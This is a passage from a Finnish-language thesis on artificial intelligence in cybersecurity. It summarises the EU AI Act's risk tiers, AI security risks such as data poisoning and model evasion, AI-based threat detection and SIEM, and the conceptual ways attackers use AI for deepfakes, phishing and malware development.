Esimerkiksi autojen autonomisten järjestelmien tapauksessa on olennaista tietää, ajoiko 

ajoneuvoa tekoäly vai ihminen. Tekoälyn läpinäkyvyyden pitäisi kattaa koko sen elinkaari. 

(Vähä-Sipilä ym., 2021, ss. 5–7) 

Tekoälyjärjestelmiltä vaaditaan usein vikasietoisuutta ja tarkasteltavuutta. Vikasietoisuus on 

merkittävä tekijä, jotta voidaan puhua eettisesti toimivasta järjestelmästä. Kun 

tekoälyjärjestelmä sietää vikoja, sitä on vaikea saada toimimaan odottamattomalla tavalla. 

Tällöin järjestelmä sietää vääriä syötteitä ja sitä on vaikea manipuloida tai saastuttaa. 

Vikasietoisuuden pettämisellä voi olla pahimmassa tapauksia seurauksia hengen, terveyden 

tai ympäristön turvallisuuteen tai tietoturva- ja tietosuojariskeihin. Järjestelmä voi toimiessaan 

odotetulla tavallakin tehdä virheitä ja yleisesti vikasietoisessa järjestelmässä on turvallinen 

tila, johon järjestelmä siirtyy havaittuaan virheen. Täysin erehtymättömän tekoälyjärjestelmän 

suunnitteleminen on mahdotonta, eikä sille voida opettaa kaikkia mahdollisia skenaarioita, 
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mutta vikasietoisuuden tulisi olla tarkasteltavissa koko tekoälyjärjestelmän elinkaaren ajan. 

(Vähä-Sipilä ym., 2021, ss. 7–8) 

Juridiset näkökulmat ovat tuoneet muutoksia tekoälyjärjestelmien valvontaan aivan viime 

aikoina ja nämä ovatkin erittäin tuoreita alalla. Vuonna 2023 joulukuussa Euroopan 

parlamentti ja EU:n neuvosto pääsivät yhteisymmärrykseen tekoälysäädöksestä ja syntyi 

maailman ensimmäinen kattava tekoälyä koskeva oikeudellinen kehys. Tavoitteena 

tekoälysäädöksellä on tarjota tekoälyn kehittäjille ja käyttöönottajille selkeät vaatimukset ja 

velvoitteet tekoälyn tiettyjä käyttötarkoituksia varten. Toimenpidepakettiin tekoälysäädöksen 

kanssa kuuluvat myös tekoälyn innovaatiopaketti ja koordinoitu tekoälysuunnitelma, joiden 

tarkoituksena on tukea luotettavan tekoälyn kehittämistä. Tekoälysäädöksen päätavoitteina 

on varmistaa, että tekoälyjärjestelmissä kunnioitetaan perusoikeuksia, turvallisuutta ja 

eettisiä periaatteita Euroopassa ja sen ulkopuolella, sekä puuttua erittäin voimakkaiden ja 

vaikuttavien tekoälymallien riskeihin. (Euroopan komissio, 2024) 

Tekoälysäädöksen pääasiallinen tavoite on varmistaa, että eurooppalaiset voivat luottaa 

tekoäly tarjontaan sekä madaltaa tekoälyjärjestelmien luomia riskejä, jotta voidaan välttää 

epätoivotut tulokset. Lisäksi tekoälysäädöksen tavoitteena on määrittää luettelo korkean 

riskin sovelluksista sekä asettaa selkeät vaatimukset niihin, edellyttää vertaisarviointia ennen 

tekoälyjärjestelmän käyttöönottoa, asettaa valvonta tekoälyjärjestelmien julkaisun jälkeen 

sekä perustaa Euroopan ja kansallisen tason hallintorakenne. (Euroopan komissio, 2024) 

Säädöksen riskiperusteisessa lähestymistavassa jaetaan tekoälyjärjestelmät neljään 

riskitasoon. Kuvassa (Kuva 6) näkyvät riskien jakokaava pyramidiksi kuvattuna, jotka ovat: 

ei-hyväksyttävä riski (unacceptable risk), suuri riski (high risk), rajallinen riski (limited risk) ja 

vähäinen riski (minimal risk). Suuren riskin tekoälyjärjestelmiin kuuluvat esimerkiksi kriittiseen 

infrastruktuuriin, tuotteiden turvakomponentteihin, lainvalvontaan ja oikeudenkäynnin 

hallintoon ja demokraattisiin prosesseihin liittyvät tekoälyt, kun taas vähäisen riskin luokkaan 

kuuluvat esimerkiksi videopelit ja roskapostisuodattimet. Riskiperusteisellä säädöksellä 

pyritään varmistamaan, että luokittelun mukaiset tekoälyjärjestelmät ovat riskijaon 

velvoitteiden mukaisia. (Euroopan komissio, 2024) 
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Kuva 6 Sääntelykehyksen neljä määriteltyä riskitasoa tekoälyjärjestelmille (Euroopan 

komissio, 2024) 

 

Säädöksessä määritetään, että kaikki suuren riskiluokan tekoälyjärjestelmät tulee arvioida 

ennen kuin ne voidaan julkaista markkinoille, sekä niitä tulee valvoa jatkuvasti niiden 

elinkaaren ajan. Palveluntarjoajat ja käyttöönottajat ovat lisäksi velvoitettu ilmoittamaan 

vakavista vaaratilanteista ja toimintahäiriöstä sekä kansalaiset voivat tehdä valituksia 

tekoälyjärjestelmistä viranomaisille. Säädös tuo mukanaan avoimuusvaatimuksia, jotka 

velvoittavat, että esimerkiksi generatiivisen tai sisältöä tuottavan tekoälyn tuotoksissa on 

oltava selvästi esillä tieto siitä, että sen on tuottanut tekoäly. EU:n parlamentti hyväksyi 

tekoälysäädöksen maaliskuussa 2024 ja säädöstä aletaan pääsääntöisesti soveltaa 24 

kuukautta sen voimaan astumisen jälkeen. Tekoälysäädös on tuomassa paljon muutoksia ja 

valvontaa tekoälyjärjestelmien nykyään enemmissä määrin valvomattomaan markkinaan. 

(Euroopan parlamentti, 2024)  

Vähä-Sipilän ja kumppaneiden (2021, ss. 15–16) mukaan myös tekoälyn tietoturvariskejä 

voidaan tarkastella aiemmin esitellyn CIA-mallin kautta. Kuvassa (Kuva 7) on mallinnettu 

esimerkkejä mahdollisista riskeistä ja niiden yhteyksistä CIA-mallin osiin. Machalin ja 

kumppaneiden (2024, s. 38) mukaan suurimpina riskeinä tekoälylle pidetään mallin 

varastamista, kiertämistä tai saastuttamista, jotka vaarantavat tekoälyjärjestelmien tiedon 

eheyden ja niiden tekemien tuloksien luotettavuuden. Saastuttamisella tarkoitetaan 

hyökkäystä, jossa hyökkääjä kykenee muokkaamaan tai syöttämään tekoälyn koulutusdataa 

manipuloidakseen sen tuloksia. Mallin kiertämisellä taas tarkoitetaan, että hyökkääjä 

rakentaa haitallisia syötteitä lähetettäväksi tekoälyjärjestelmään päätöksenteon aikana 
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tuottaakseen vääriä tuloksia. Näiden kaikkien hyökkääjän keinojen lopputuloksena voi olla 

tekoälymallin käytön estyminen. (Machal ym., 2024, s. 38)  

Kuva 7 Esimerkkejä tekoälyn riskeistä ja niiden yhteyksistä CIA-malliin (Vähä-Sipilä ym., 

2021, s. 15) 

 

Tekoälyn sovellusten lisääntynyt käyttö on tuonut esiin monenlaisia uhkia ja vaaroja, kuten 

tekoälyjärjestelmien vinoumat, huono selitettävyys sekä turvallisuus- ja yksityisyysongelmat. 

Erityisesti yksityisyysongelmat ovat korostuneet generatiivisten tekoälymallien ja suurten 

kielimallien yleistyessä, sillä nämä mallit voivat vuotaa koulutusdataa. Näitä ongelmia 

voidaan ehkäistä rajoittamalla tekoälyn koulutuksessa käytettävää dataa tai lisäämällä 

suojatoimia tietovuotojen estämiseksi. Suurten kielimallien osalta suurimpia riskejä ovat 

tulosten laatu, luotettavuus ja huono selitettävyys. Tämä rajoittaa niiden käyttöä tilanteissa, 

joissa käyttäjän on voitava luottaa tuloksiin ilman pelkoa niin sanotuista hallusinaatioista, eli 

virheellisen tiedon tuottamisesta, joka saattaa vaikuttaa mahdolliselta tai koherentilta. 

(Machal ym., 2024, s. 38) 

Kyberturvallisuusratkaisuihin toteutettujen tekoälyjärjestelmien hyödyntäminen 

kyberhyökkäyksissä nähdään kasvavan tulevaisuudessa. Siksi on tärkeää varmistaa, että 

nämä järjestelmät ovat yhtä turvallisia ja joustavia kuin perinteiset, ei-tekoälypohjaiset 

järjestelmät. Tekoälyjärjestelmien on oltava luotettavia, turvallisia, yksityisyyttä kunnioittavia, 

oikeudenmukaisia ja läpinäkyviä. Tämä on haasteellista, mutta välttämätöntä, koska 
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tekoälystä tulee todennäköisesti ainoa tehokas keino vastata tekoälypohjaisiin 

kyberhyökkäyksiin. Tekoälyn odotetaan muodostuvan uudeksi aseeksi jatkuvassa 

varustelukilvassa hyökkääjien ja puolustajien välillä. (Machal ym., 2024, ss. 38–39) 

 

3.4 Tekoälyn tulevaisuus ja kehitys 

Kolarin ja Kallion (2023, ss. 117–122) mukaan tekoälyn tulevaisuutta on vaikea ennustaa, 

mutta sen nähdään olevan myös tulevaisuudessa väline, jota ihminen käyttää. Heidän 

mukaansa sen kehitys on ollut lyhyessä ajassa hyvin merkittävää ja sen uskotaan jatkavan 

kehittymistä entisestään. Tähänastinen tekoälyn kehitys on ollut hyvin rajattua ja sitä on 

kehitetty erittäin taitavaksi vain hyvin määriteltyjen ja rajattujen tehtävien suorittamisessa. Se 

mitä voidaan ennustaa tulevaisuudessa tapahtuvan, on tekoälyn ja robotiikan kehittyminen 

työvoimavaltaisilla aloilla. Tekoälyn ohjaamien robottiapureiden uskotaan kasvavan ja niiden 

uskotaan hoitavan tulevaisuudessa rutiininomaisia työtehtäviä enemmissä määrin, jolloin 

ihmiselle jää tehtäväksi robotin työn seuraaminen ja vaikeiden tehtävien suorittaminen. Tällä 

tavoin voidaan säästää ihmisen resursseja niitä vaativiin tehtäviin. (Kolari & Kallio, 2023, ss. 

117–122) 

Tekoälyn toimintaympäristöjä voidaan luokitella avoimiksi ja suljetuiksi ympäristöiksi. 

Suljetuissa ympäristöissä tekoälyllä on kaikki tarvittava tieto päätöksenteon tueksi, ja se 

tuntee kaikkien tilanteiden toimenpiteet sekä niiden seuraukset. Avoimissa ympäristöissä 

puolestaan tekoäly ei välttämättä tiedä etukäteen toimenpiteiden vaikutuksia ja saattaa 

kohdata uusia, ennennäkemättömiä tilanteita. Avoimien ympäristöjen tekoälyn uskotaan 

yleistyvän merkittävästi tulevaisuudessa. Yhtenä näihin liittyvänä tekijänä robotiikan alalla 

ennustetaan yhteistyörobottien eli cobottien käytön lisääntyvän. Cobotteja voidaan käyttää 

ihmisten kanssa samassa työtilassa ilman erillisiä suojarajoja. Ne voivat joko työskennellä 

ihmisten rinnalla osana työprosessia tai suorittaa itsenäisiä tehtäviä. Cobottien tarkoituksena 

on seurata ihmisten toimia ja tarjota apua tarvittaessa. Tällä hetkellä cobotteja hyödynnetään 

pääasiassa tuotanto- ja kokoonpanotehtävissä, mutta tulevaisuudessa niiden odotetaan 

yleistyvän esimerkiksi terveydenhuollossa, jossa ne saattavat suorittaa leikkauksia 

itsenäisesti ohjelmien avulla. (Kolari & Kallio, 2023, ss. 117–121) 

Tekoälyä voidaan käyttää myös tulevaisuuden näkymien hahmottamisessa ja esimerkiksi 

erilaisten kriisitilanteiden simuloimisessa. Tekoälyn avulla voidaan reagoida 
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poikkeustilanteisiin ennakoivasti ja täten välttää suurimmat uhkakuvat. Esimerkiksi luonnon 

katastrofien seurauksien ennustaminen on tekoälyn avulla realistisempaa ja voidaan 

etukäteen simuloida poikkeustilanteen vaikutus yhteiskuntaan tai infrastruktuuriin ja välttää 

hallitsemattomia kriisejä. (Kolari & Kallio, 2023, ss. 114–116) 

Kolarin ja Kallion (2023, ss. 132–134) mukaan tekoälyn kehittymisen uskotaan jatkuvan ja 

sen uskotaan tulevan kokoajaan enemmän osaksi ihmisten arkea, niin kotona kuin töissäkin. 

Heidän mukaansa tekoälyn kehittyminen ja kasvaminen ei ole kuitenkaan ollut vain pelkkää 

onnistumista ja sen kehittämiseen liittyykin paljon vastuita ja haasteita. Näitä tutkitaan 

tarkemmin seuraavissa luvuissa, mutta ihmisiä yksi eniten puhuttavia asioita onkin, viekö 

tekoäly ihmisiltä työpaikat tulevaisuudessa. Kolarin ja Kallion (2023, ss. 132–134) mukaan 

ihmiselle on paikka työmaailmassa, vaikka tekoäly veisikin manuaalisia työtehtäviä, joita 

ihminen ei koe enää mieluisiksi työtehtäviksi. Heidän mukaansa se on väistämätöntä, että 

jotain työtehtäviä tekoäly tulee korvaamaan, mutta tekoälysovelluksien hallitsemisen tuo 

uusia työmahdollisuuksia ihmisille.   



29 

 

4 Tekoälyn rooli ja vaikutus kyberturvallisuudessa 

Tekoäly toimii kyberturvallisuudessa kuin kaksiteräinen miekka: se tarjoaa edistyneitä 

välineitä turvallisuuden parantamiseen, mutta myös antaa kyberrikollisille mahdollisuuden 

käyttää monimutkaisia tekniikoita hyökkäyksiin. Tekoälyn vaikutuksen kyberturvallisuuteen 

uskotaan myös laajentavan uhkakenttää, tuovan uusia uhkia ja muuttavan uhkien luonnetta. 

(Polito & Pupillo, 2024) Luvuissa tutkitaan missä tekoälyä hyödynnetään tänä päivänä 

kyberturvallisuudessa sekä kyberhyökkäyksissä ja mitkä sen tulevaisuuden näkymät ovat. 

4.1 Tekoälyn nykytilanne kyberturvallisuudessa 

Tekoälytekniikoita on käytetty jo pitkään kyberturvallisuusalalla, ja ne ovat merkittävästi 

tehostaneet kyberuhkien torjuntaa. Tekoälyä on tähän asti käytetty esimerkiksi roskapostien 

suodattamiseen, haittaohjelmien tunnistamisessa ja tunkeutumisten estämisessä. Tekoäly on 

lisännyt kyberturvallisuusratkaisujen automaatiota, nopeutta, skaalautuvuutta ja 

sopeutumiskykyä ja vaikka iso osa näistä hyödyistä on reaktiivisissa toimipiteissä, on 

kiinnostus myös tekoälyn käyttämisestä ennaltaehkäisevissä toimissa. (Machal ym., 2024, s. 

1)  

Tekoälyn hyödyt kyberturvallisuus puolelta ovat sen nopeus ja sen avulla saatava 

automaatio. Kyberhyökkäykset tapahtuvat usein todella nopeasti ja niiden minimoimiseksi 

tarvitaan nopeaa reagointia. Digitaalisista ympäristöistä kertyy valtava määrä dataa, jotka 

ovat tärkeitä turvallisuuden ylläpidossa. Tekoäly mahdollistaa suuren datamäärän 

prosessoinnin ja analyysin reaaliajassa sekä havaittaessa uhkia, automaation avulla voidaan 

reagoida tehokkaasti hyökkäyksien rajaamiseksi ja lieventämiseksi. Näiden prosessien 

sääntöjen kehittäminen olisi manuaalisesti erittäin raskasta. Tekoälyn avulla voidaan 

automatisoida sääntöjen luomista ja se kykenee ratkaisemaan ongelmia, jotka ovat 

luonteeltaan samanlaisia, mutta niiden ilmeneminen on vaihtelevaa. Tekoälyn avulla 

skaalautuminen on mahdollista kasvaviin nykyaikaisiin digitaalisiin ympäristöihin ja se 

kykenee sopeutumaan tehokkaammin ja nopeammin uusiin uhkakuviin. (Machal ym., 2024, 

ss. 11–12) 

Haasteita tekoälypohjaisissa kyberturvallisuusratkaisuissa tuo muuttuvat uhkaympäristöt ja 

vastustajien kekseliäs luonne. Uhkaympäristö kehittyy jatkuvasti ja tämän takia 

tekoälymalleja on seurattava jatkuvasti ja koulutettava, jotta ne pystyvät havaitsemaan uhkia 

tehokkaasti. Uhkatoimijat pyrkivät jatkuvasti kehittämään uusia hyökkäystekniikoita ja 
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haittaohjelmaversioita hyödyntääkseen haavoittuvuuksia. Hyökätessään tekoälypohjaista 

puolustusta vastaan voivat hyökkääjät käyttää erityisesti tekoälymallien huijaamiseen 

tarkoitettuja hyökkäyksiä. Tämän takia tekoälymallien kouluttaminen on erityisen tärkeää 

kyberturvallisuuteen liittyvissä välineissä. Haasteen tähän kuitenkin tuo se, että 

koulutusdatassa on monesti enemmän tavanomaista käyttäytymistä edustavaa dataa, kuin 

pahantahtoista toimintaa edustavaa dataa. Tämän takia uhkien ja poikkeamien 

havaitseminen vaikeutuu ja tekoälymallien on tehtävä yleistyksiä rajallisen aineiston pohjalta. 

Tällöin korostuu tekoälymallien päätöksien tulkittavuus. Se on tärkeä ominaisuus, jonka 

avulla tietoturva-asiantuntijat voivat tulkita paremmin tekoälyn tekemien päätöksien syitä, 

ymmärtää hyökkäysvektoreita ja kehittää tehokkaita vastatoimenpiteitä. (Machal ym., 2024, 

ss. 12–14) 

Politon ja Pupillon (2024) mukaan tekoälyn kehittyminen ja kasvaminen on laskenut myös 

kynnystä kyberhyökkäyksien toteuttamiseen merkittävästi. Heidän mukaansa 

tekoälyvälineiden ja erityisesti generatiivisen tekoälytekniikoiden avulla jopa ne henkilöt, joilla 

on keskinkertaiset tekniset taidot, voisivat mahdollisesti käynnistää injektiohyökkäyksen. 

Heidän mukaansa tulevaisuudessa tulisi edistää lisätutkimuksia tekoälyn ja koneoppimisen 

soveltamista kyberturvallisuudessa, jotta voidaan kehittää paitsi tekoälyn hyödyntämistä 

kyberturvallisuuden välineenä, että myös minimoida väärinkäyttöä tekoälyvälineiden osalta. 

4.2 Tekoälyn soveltaminen kyberturvallisuudessa 

Kun verkot kasvavat ja muuttuvat yhä monimutkaisemmiksi, tekoälystä tulee merkittävä apu 

yritysten tietoturvassa. Tekoälyteknologian integroiminen tietoturvaverkkoihin ei kuitenkaan 

tapahdu hetkessä; se vaatii aikaa, valmistelua ja koulutusta, jotta teknologiaa voidaan 

hyödyntää tehokkaasti. Yksi suurimmista haasteista tekoälyn käyttöönotossa 

kyberturvallisuudessa on se, että sen soveltaminen vaatii enemmän aikaa ja resursseja 

verrattuna perinteisiin ei-tekoälyä sisältäviin tietoturvaratkaisuihin. Tämä johtuu osittain siitä, 

että tekoälypohjaiset tietoturvaratkaisut ovat kalliita, mikä rajoittaa erityisesti pienten ja 

keskisuurten yritysten mahdollisuuksia hyödyntää niitä. Ratkaisuksi tähän resurssiongelmaan 

on kehitetty Security-as-a-Service (SaaS) -teknologioita, jotka tekevät tekoälypohjaisten 

kyberturvaratkaisujen käytöstä taloudellisesti kannattavampaa. (Das & Sandhane, 2021, ss. 

4–5) 

Machalin ja kumppaneiden (2024, s. 16) mukaan kehittyneimpiä kyberturvallisuus osa-

alueita, jossa tekoälyä tänä päivänä käytetään, on uhkien havaitsemisessa ja 
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ennaltaehkäisyssä. Heidän mukaansa tekoälyä on sovellettu tähän tarkoitukseen jo yli 

kahden vuosikymmenen ajan. Yksi tekoälyn ensimmäisistä käyttötavoista on ollut 

havainnointi, jossa tekoälyä hyödynnetään tunnistamaan uhkakuvia ja haittaohjelmia. 

Havainnointi pyrkii löytämään haitallista toimintaa, joka usein piilotetaan näennäisesti 

harmittomiin ajotiedostoihin, asiakirjoihin tai URL-osoitteisiin. Haitallisen toiminnan 

tunnistamiseen käytetään tiedostoanalysoijia, jotka voivat olla staattisia tai dynaamisia. 

Staattiset analysoijat tarkastelevat nopeasti lähde- tai binäärikoodia, kun taas dynaamiset 

analysoijat suorittavat koodin hiekkalaatikkoympäristöissä, jolloin saadaan tarkempia mutta 

hitaampia tuloksia. Haittaohjelmien havainnointiin suunnitellut tekoälymallit pystyvät 

sopeutumaan jatkuvasti muuttuvaan uhkaympäristöön. Ne ovat erittäin tehokkaita tiedon 

ekstrapoloinnissa, mikä mahdollistaa uusien haittaohjelmien tunnistamisen tunnettujen 

haittaohjelmien perusteella. (Machal ym., 2024, s. 16) 

Syväoppimisen ja luonnollisen kielen käsittelyn viimeaikaiset harppaukset ovat olleet 

merkittäviä edistysaskeleita tekoälyn avulla toteutettavan uhkien havainnoinnissa. 

Syväoppimisen menetelmien kehittymisen avulla on pystytty vähentämään ominaisuuksien 

suunnitteluprosessia ja virtaviivaistamaan analyysiprosessia sekä parantamaan 

tekoälypohjaisten havaitsemistekniikoiden sopeutumiskykyä. Tekoälyn vaikutus ohjelmistojen 

hyväksikäytön ja haittaohjelmien tunnistamisessa sekä tietojenkalastelun ja roskapostin 

havaitsemisessa on merkittävä. Tekoälyn käyttö uhkien ennaltaehkäisyssä ja 

havaitsemisessa on kehittynyttä ja sillä on merkittävä vaikutus kyberturvallisuustoimien 

tehokkuuden parantamisessa. (Machal ym., 2024, s. 17) 

Iso osa tekoälyn mahdollisuuksista ja käytettävistä välineistä kyberturvallisuudessa liittyy 

analysointiin tai datan käsittelyyn. Sen etuna on, että se voi käsitellä suurta määrää dataa 

monimutkaisissakin ympäristöissä. Sen avulla voidaan esimerkiksi havaita poikkeavia ketjuja 

tai tapahtumia päätelaitteissa, pilvipalveluissa tai verkkoympäristöissä. Tekoäly helpottaa 

tämänlaisissa välineissä epäilyttävien tapahtumien priorisointia ja analysointia sekä niiden 

ryhmittelyä. Näillä toimilla säästetään tietoturva-asiantuntijoiden resursseja, kun heidän ei 

tarvitse analysoida useita samankaltaisia tapahtumia, vaan he voivat keskittyä priorisoituun 

tapahtumaan. Tekoälymallit tulisi räätälöidä tiettyyn tarkoitukseen ja laite- tai 

palvelukohtaisesti, niiden suorituskyvyn maksimoimiseksi. Mallien nopeudella ja 

mukautuvuudella on suora yhteys hyökkäyksien vaikuttavuuteen, joten tunnistamisen ja 

reagoimisen viive tulisi olla minimaalinen. Tekoälyn vaikutuksesta päätelaitteiden ja 

pilvipalveluiden kyberturvallisuudessa on tullut olennainen osa, joskin verkon 

kyberturvallisuudessa tekoälyn vaikutus on pienempi. Tämä johtuu verkkoliikenteen 
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monimuotoisuudesta ja viestintäprotokollien runsaudesta. Tietoverkot kehittyvät jatkuvasti, 

joka luo uusia haasteita tekoälytekniikoiden soveltamisessa. (Machal ym., 2024, ss. 17–19) 

Tekoälyä hyödynnetään tietoturvatiedon ja -tapahtumien hallintajärjestelmien (Security 

Information and Event Management, SIEM) apuvälineinä. SIEM-järjestelmien tarkoituksena 

on integroida ja analysoida tietoa eri lähteistä, kuten tapahtumista järjestelmissä, käyttäjien 

käyttäytymisestä, verkon turvallisuudesta ja muista turvallisuusjärjestelmistä. Tämän avulla 

voidaan saada kokonaisvaltainen käsitys yritysverkon turvallisuudesta. Tekoälyn avulla 

voidaan esimerkiksi automatisoida tiedonhaun ja hahmontunnistamisen avulla tapahtuvan 

tietojen keräämisen, normalisoinnin, rikastamisen ja korreloinnin. Tekoäly kykenee luomaan 

hälytyksiä ja se voi toteuttaa ennalta määriteltyjä toimenpiteitä uhkien torjumiseksi. (Machal 

ym., 2024, ss. 19–21) 

Uhkatiedustelun ja haavoittuvuuksien hallinnan osalla tekoäly on kehittymässä, mutta ei ole 

vielä korkean luotettavuuden tasolla. Tekoälyn avulla voidaan kerätä tehokkaasti suuria 

määriä tietoa useista eri lähteistä ja havaita kaavoja, joiden avulla voidaan ennaltaehkäistä ja 

havaita uhkia. Tätä toimintaa voidaan hyödyntää esimerkiksi tunnistettaessa, arvioitaessa ja 

lievennettäessä IT-järjestelmien tietoturva-aukkojen aiheuttamia riskejä. Erittäin tärkeänä 

osana prosessia on tekoälyn kouluttaminen ja siihen vaadittava suuri määrä korkealaatuista 

dataa, koska se voi tuottaa virheellisiä tuloksia, jolla voi merkittäviä vahingoittavia 

seurauksia. Tekoälyn potentiaalia pidetään kuitenkin merkittävänä haavoittuvuuksien ja 

uhkien hallitsemisessa ja sen uskotaan kehittyessään ottavan merkittävämpää roolia tällä 

osa-alueella. (Machal ym., 2024, ss. 22–24) 

Tekoälyn tuleminen osaksi kyberturvallisuutta on väistämätöntä, mutta sen suunnittelu, 

kehittäminen ja käyttöönotto vie aikaa, joten organisaatioiden on hyvä tehdä prosessit ennen 

käyttöönottoa ja toteuttamista huolellisesti. Kuvassa (Kuva 8) kuvataan onnistuneen 

tekoälysovelluksen edellytykset projektin vaiheiden mukaan. Tekoälypohjaista ratkaisua 

suunnitellessa olisi hyviä huomioida mitä ongelmaa sen on tarkoitus ratkaista, ja mitkä ovat 

tekoälyn tarjoamat mahdollisuudet siihen sekä kartoittaa resurssit ja kyvykkyys järjestelmän 

tuottamiseen. Kehittämisvaiheessa korostuu datan määrittäminen ja sen ymmärtäminen. On 

tärkeää, että data on laadukasta ja että se palvelee tekoälyjärjestelmän tavoitetta. 

Käyttöönoton suhteen kannattaa olla joustava ja tuloksia tulee arvioida avoimesti. 

Tekoälyprojekti on useasti pitkä prosessi ja organisaatioiden tulisikin kehittää moniosaamista 

organisaation sisällä, jotta voidaan kehittää mahdollisimman tehokkaita tekoälyratkaisuja. 

(Machal ym., 2024, ss. 30–33) 
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Kuva 8 Onnistuneen tekoälysovelluksen projektin vaiheet ja sen aikajana kuvattuna (Machal 

ym., 2024, s. 33) 

 

4.3 Tekoälyn hyödyntäminen kyberhyökkäyksissä 

Tekoälyn lisääntyminen mahdollistaa myös sen hyötykäytön kyberhyökkäyksien 

apuvälineenä. Suurimpana hyötynä kyberhyökkääjille toimii generatiivinen tekoäly. 

Esimerkiksi kuvien ja videoiden tuottaminen tekoälyn avulla mahdollistaa todellisten 

henkilöiden matkimisen tai virheellisen tilannekuvan luomisen. Lisäksi uskotaan, että 

generatiivista tekoälyä hyödynnetään haittaohjelmien luomiseen, jonka avulla voidaan kiertää 

tietoturvatyökaluja. On myös havaittu, että LLM-tekoälymallien integrointi sovelluksiin on 

synnyttänyt kriittisiä haavoittuvuuksia. Tällä tarkoitetaan, että LLM-tekoälymallien 

haavoittuvuuksia luonnollisen kielen kautta ja siitä miten niitä kehitetään ja jaetaan. 

Luonnollisen kielen haavoittuvuuksilla tarkoitetaan esimerkiksi tekoälymallin saastuttamista 

vihamielisillä viesteillä, kuvilla tai videoilla. Seurauksena voidaan saastuttaa tekoälymalli tai 

pahimmassa tapauksessa kaapata se ja hallita sen tuotoksia. (Polito & Pupillo, 2024) 

Tarkemmin tutkittaessa tapoja hyödyntää tekoälyä kyberhyökkäyksien tukena, nousee 

Islamin (2023) mukaan esiin samankaltaisuuksia kuin käytettäessä niin kutsutulla hyvällä 

puolella. Hänen mukaansa sen avulla voidaan automatisoida hyökkäyksiä tai sen 

toimenpiteitä. Kuten kyberturvallisuudessakin, niin kyberhyökkäyksissä tekoäly pystyy 

käymään läpi suuren määrän dataa nopeasti ja reagoimaan siihen nopeammin kuin ihminen. 

Esimerkiksi hakkeroimisessa tai salasanojen murtamisessa voidaan käyttää tekoälyä 

automatisoimaan prosesseja. Salasanojen murtamiseen käytetään tekoälyä parantaakseen 
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algoritmien arvauksia käyttäjien salasanoissa. Tekoälyalgoritmit mahdollistavat esimerkiksi 

automatisoidun haavoittuvuuksien skannauksen, älykkään järjestelmien heikkouksien 

havaitsemisen ja hyödyntämisen ja sopeutuvien haittaohjelmien kehittämisen. (Islam, 2023) 

NCSC:n (2024) mukaan yksi kasvava trendi uhkatoimijoiden keskuudessa, johon tekoälyä 

hyödynnetään, on tekoälyn käyttäminen kyberoperaatioiden osien tehokkuuden ja 

vaikuttavuuden kehittämisessä. Heidän mukaansa tekoäly avustaa haittaohjelmien ja 

hyökkäyksien kehittämisessä, haavoittuvuustutkimuksessa ja lateraaliliikkeissä tehden 

olemassa olevista tekniikoista tehokkaampia. Generatiivisen tekoälyn avulla voidaan kehittää 

haittaohjelmia, niiden laajan kielimalli ja tekniikka tuntemuksen avulla. Nykyään tehokkaiden 

haittaohjelmien pitää olla erittäin päteviä välttääkseen turvallisuussuodattimet. Tällöin tekoäly 

täytyy olla koulutettu laadukkaalla hyväksikäyttödatalla ja uskotaankin, että tulevaisuudessa 

on todennäköisempää, että tämänlaista dataa on saatavilla erityisesti kyvykkäillä valtioilla, 

joilla on tarpeeksi suuret malware-tietopankit. (NCSC, 2024) 

Islamin (2023) mukaan yhtenä suurimmista eduista uhkatoimijoille tekoäly tuo 

mahdollisuuksia deepfakejen tekemiseen. Hänen mukaansa kyberrikolliset voivat käyttää 

tätä tehdäkseen haitallista materiaalia, levittääkseen väärää tietoa tai apuna sähköposti 

huijauksiin. Hänen mukaansa nykyiselle tasolle kehittyneen generatiivisen tekoälyn tuotokset 

esimerkiksi kuvissa tai tekstin tuottamisessa ovat jo hämmästyttävän hyviä, joten ihmisen 

arvioiminen vaikeutuu jatkuvasti, onko kyseessä aito vai deepfake. NCSC (2024) mukaan 

kyberrikolliset voivat hyödyntää tekoälyä tuottaakseen erittäin vakuuttavaa viestintää uhrien 

kanssa ilman niitä käännös-, kirjoitus- ja kielioppivirheitä, jotka ovat aiemmin usein 

paljastaneet kalasteluyritykset. Uusimpina uhkatekijöinä ovat tulleet mahdollisuudet tekoälyn 

avulla tuotettaviin ääniraitoihin, joiden avulla voidaan varastaa jonkun toisen identiteetti 

äänen kautta ja pyrkiä huijaamaan uhria (Islam, 2023). 

NCSC:n (2024) mukaan kyberhyökkäysten trendien ennustaminen on vaikeaa nopean 

kehityksen vuoksi, mutta on selvää, että ne toimijat, joilla on resursseja sijoittaa tekoälyyn ja 

sen kouluttamiseen, tulevat hyötymään siitä. He arvioivat, että suuret valtiotoimijat 

investoivat todennäköisesti merkittävästi tekoälyn potentiaalin kehittämiseen 

kyberoperaatioissa. Samalla myös resurssipulasta kärsivät toimijat pystyvät kehittymään 

tekoälyn hyödyntämisessä kyberoperaatioissa. Kyberrikollisuuden kentällä nähdään myös 

kyberrikosvälineiden kaupallistamisen kasvua, eli palveluna myydään tuotteita, joilla voidaan 

toteuttaa kyberrikoksia. Tämä mahdollistaa pienempien toimijoiden hankkia parempia 

hyökkäyskykyjä ulkopuolelta. Tekoälyn tehokas käyttö kasvaa lähitulevaisuudessa niiden 

kyberrikollisten keskuudessa, jotka pystyvät kouluttamaan tekoälyä laadukkaalla datalla, 
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mutta pitkällä aikavälillä laadukkaiden tekoälyvälineiden määrä lisääntyy, kun dataa tulee yhä 

useampien saataville. (NCSC, 2024) 

4.4 Tekoälyn vaikutus tulevaisuuden kyberturvallisuuteen 

Tekoälyn käyttö kyberturvallisuuden sovelluksissa on lisääntynyt, koska hyökkäykset ovat 

yhä monimutkaisempia, nopeampia ja laajamittaisempia. Tekoälyteknologioiden 

saatavuuden ja niihin kohdistuvan kiinnostuksen kasvaessa on odotettavissa, että tämä 

trendi jatkuu. Suuret kielimallit nähdään erityisen merkittävinä tekoälyn sovelluskohteina 

kyberturvallisuuden alalla. (Machal ym., 2024, ss. 34–35) 

Suuret kielimallit tarjoavat erityistä hyötyä kyvyllään yhdistellä monimutkaisia syötteitä ja 

tuottaa helposti ymmärrettäviä tuloksia, mikä parantaa päätöksentekoprosessien 

ymmärrettävyyttä ja läpinäkyvyyttä. Tätä voidaan hyödyntää esimerkiksi selittämällä 

käyttäjälle, miksi jokin toiminto on estetty. Tulevaisuudessa suurten kielimallien odotetaan 

olevan yhä tärkeämmässä roolissa perinteisissä kyberturvallisuusratkaisuissa, kuten uhkien 

havaitsemisessa ja päätelaiteturvallisuudessa. Ne voivat yhdistää ja käsitellä suuria määriä 

